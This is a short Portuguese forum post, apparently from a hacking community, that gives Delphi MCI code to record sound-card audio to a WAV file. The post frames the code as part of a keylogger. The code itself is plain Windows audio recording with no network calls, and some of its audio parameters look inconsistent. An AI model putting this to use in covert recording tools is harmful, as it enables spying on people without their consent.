antiblock
Cyphriun
  • Chatbox

    Did you check out our Discord? https://discord.gg/FFdvMjk9xA
    You don't have permission to chat.
    Load More
Sign in to follow this  
V¡®u§

Keylogger Capturar Áudio Da Placa De Som

1 post in this topic

Adicione a sessão uses MMSystem

Código para iniciar gravação do áudio:

mciSendString('OPEN NEW TYPE WAVEAUDIO ALIAS mysound', nil, 0, Handle);

mciSendString('SET mysound TIME FORMAT MS ' +

'BITSPERSAMPLE 32 ' +

'CHANNELS 20 ' +

'SAMPLESPERSEC 250 ' +

'BYTESPERSEC 180000',

nil, 0, Handle);

mciSendString('RECORD mysound', nil, 0, Handle);

Código para parar gravação:

mciSendString('STOP mysound', nil, 0, Handle);

Código para salvar o som wav:

var

arquivo: String;

begin

GetDir(0, arquivo);

mciSendString(PChar('SAVE mysound ' + arquivo + '/test.wav'), nil, 0, Handle);

mciSendString('CLOSE mysound', nil, 0, Handle);

Som é salvo no mesmo diretório do executável

Share this post


Link to post
Share on other sites
antiblock
Elveron

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this